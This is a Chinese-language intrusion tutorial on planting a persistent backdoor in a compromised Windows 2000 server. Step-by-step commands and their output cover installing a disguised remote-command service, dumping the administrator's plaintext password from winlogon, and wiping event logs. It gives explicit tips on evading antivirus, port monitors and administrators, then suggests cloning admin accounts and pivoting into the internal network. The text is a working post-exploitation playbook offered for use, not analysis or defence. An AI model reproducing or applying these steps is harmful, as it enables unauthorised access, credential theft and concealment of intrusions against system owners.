入侵Windows2000系统放置后门的方法
在阅读本文之前，假设你已经成功入侵了某台Windows2000主机并取得了管理员帐号。大多数时候我们入侵某台主机的目的并不是为了直接破坏，可以在该主机上留下后门以便自己以后可以方便的“使用”该机。
目前一般情况下，入侵Windows2000后使用最多的后门是RemoteNc了，但该工具有一很大的缺点，容易被杀毒软件查出，而且如果用Fport或Active Ports等软件也可以看到它监听的端口，这很容易让管理员发现。
对于Windows2000下的后门推荐使用Windows2000 Resoruce Kit中自带的一个小工具Rcmdsvc.exe和Rcmd.exe，这是微软自己出的一个用来在命令行下远程管理主机的小工具。它有以下优点：
1、不会被杀毒软件认为是病毒或后门程序，毕竟这是微软自己出的东西。
2、非常隐蔽，它开的端口是445，和Windows2000系统的Microsoft-DS服务开的端口一样，用Fport或Active Ports都不能列出它正在监听的端口。
下面我们来看一次实际的操作，当然进行以下操作之前假设已经具有以下条件：
1、你已经取得了xxx.xxx.xxx.xxx的管理员权限；
2、该机启用了Tcp/Ip上的Netbios支持；
3、在IP安全策略中对139和445端口未进行屏蔽；
4、安全策略中对匿名连接的额外限制采用的是默认的安全选项。
如果后三条中有某条不能满足，那么会让我们的后续操作有些困难，不过仍然有其它办法可以继续，如果大家感兴趣我会在以后的文章中说明。
c:/>net use z: //xxx.xxx.xxx.xxx "password" /user:"administrator"
c:/>copy rcmdsvc.exe z:/winnt/system32
c:/>copy pulist.exe z:/winnt/system32
c:/>copy findpass.exe z:/winnt/system32
c:/>copy kill.exe z:/winnt/system32
c:/>copy clearel.exe z:/winnt/system32
c:/>copy clealog.cmd z:/winnt/system32
c:/>copy fpipe.exe z:/winnt/system32
c:/>copy msvcp60.dll z:/winnt/system32 |
拷贝一些常用的工具到对方服务器上，在这里对这些工具做一个简要说明：
Rcmdsvc.exe Windows2000 Resource Kit中的远程命令行服务器端程序；
Pulist.exe 可以列出系统进程和该进程所属用户的工具；
Findpass.exe 可以在winlogon.exe进程中查找指定用户名的名文口令的工具；
Kill.exe 可以用pdi或进程名杀掉指定进程的工具；
Clearel.exe 清除系统、应用程序、安全日志的工具；
Clealog.cmd 同上；
Fpipe.exe 可以在命令行下做端口重定向的工具；
Msvcp60.dll vc的运行库，这个东西其实不是必须的，但为了防止在某些缺少Msvcp60.dll的机上在运行Clealog清除日志时对方的机上会突然弹出一个对话框说缺少Msvcp60.dll的尴尬情况，最好把它一起复制过去。
c:/>sc //xxx.xxx.xxx.xxx create "Remote Command Service" binpath=
c:/winnt/system32/rcmdsvc.exe type= own start= auto |
在这里我们用sc在目标机xxx.xxx.xxx.xxx上创建了一个名为Remote Command Service的服务，启动方式为自动。当然为了隐蔽，你最好把“Remote Command Service”这个服务名改成其它比较类似系统服务的名字，毕竟管理员不可能看着一个突然多出来的Remote Command而坐视不管，而且也显的你太嚣张了。
PS：sc.exe是Windows2000 Resource Kit中一个功能非常强大的对服务进行控制的工具，详细的使用方法可以参考本站的《SC使用完全指南》。
c:/>sc //xxx.xxx.xxx.xxx start "Remote Command Service"
SERVICE_NAME: rpc support services
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,
IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
/*在这里我们用sc启动刚才创建的Remote Command Service服务。*/
/*下面连上对方服务器*/
c:/>rcmd
Enter Server Name : xxx.xxx.xxx.xxx
Connect to //xxx.xxx.xxx.xxx
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:/Documents and Settings/Default User.WINNT>pulist
Process PID User
Idle 0
System 8
smss.exe 168 NT AUTHORITY/SYSTEM
csrss.exe 192 NT AUTHORITY/SYSTEM
winlogon.exe 212 NT AUTHORITY/SYSTEM
services.exe 240 NT AUTHORITY/SYSTEM
lsass.exe 252 NT AUTHORITY/SYSTEM
svchost.exe 408 NT AUTHORITY/SYSTEM
spoolsv.exe 436 NT AUTHORITY/SYSTEM
msdtc.exe 464 NT AUTHORITY/SYSTEM
svchost.exe 596 NT AUTHORITY/SYSTEM
llssrv.exe 624 NT AUTHORITY/SYSTEM
regsvc.exe 676 NT AUTHORITY/SYSTEM
rpcsvc.exe 692 NT AUTHORITY/SYSTEM
mstask.exe 716 NT AUTHORITY/SYSTEM
LSESS.EXE 792 NT AUTHORITY/SYSTEM
tlntsvr.exe 832 NT AUTHORITY/SYSTEM
VrUpSvr.exe 956 NT AUTHORITY/SYSTEM
winmgmt.exe 968 NT AUTHORITY/SYSTEM
dns.exe 980 NT AUTHORITY/SYSTEM
dfssvc.exe 1064 NT AUTHORITY/SYSTEM
POP3S.exe 1100 NT AUTHORITY/SYSTEM
smtpds.exe 1120 NT AUTHORITY/SYSTEM
svchost.exe 1384 NT AUTHORITY/SYSTEM
dllhost.exe 1316 NT AUTHORITY/SYSTEM
internat.exe 1308 SERVER/Administrator
conime.exe 1680 SERVER/Administrator
VRMONSVC.EXE 872 NT AUTHORITY/SYSTEM
inetinfo.exe 1456 NT AUTHORITY/SYSTEM
explorer.exe 1548 SERVER/Administrator
cmd.exe 1712 SERVER/Guest
pulist.exe 532 SERVER/Guest
/*我们可以看到winlogon.exe的进程号是212*/
C:/Documents and Settings/Default User.WINNT>findpass server
administrator 212
To Find Password in the Winlogon process
Usage: fidp DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 214 (0x000000d6).
To find server/administrator password in process 214 ...
The encoded password is found at 0x01a00800 and has a length of 3.
The logon information is: server/administrator/Tgrh87fd.
The hash byte is: 0xb8.
/*在winlogon中查找administrator的名文口令*/
C:/Documents and Settings/Default User.WINNT>clealog
clealog done
/*清除日志记录*/
C:/Documents and Settings/Default User.WINNT> |
到这里我们已经看到Administrator的密码是Tgrh87fd。
至此我们拿到了管理员的密码并安放了一个Rcmdsvc的后门，当然你还可以接着做许多事。比如利用Adam发现的Bug再克隆一个管理员账号。或者用SC把对方的Tlntsvr服务启起来。不过后者比较容易被发现，不推荐。如果你对他的内网的某台机感兴趣而且该机也有漏洞，可以用Fpipe做端口重定向后为下一步的进攻做准备。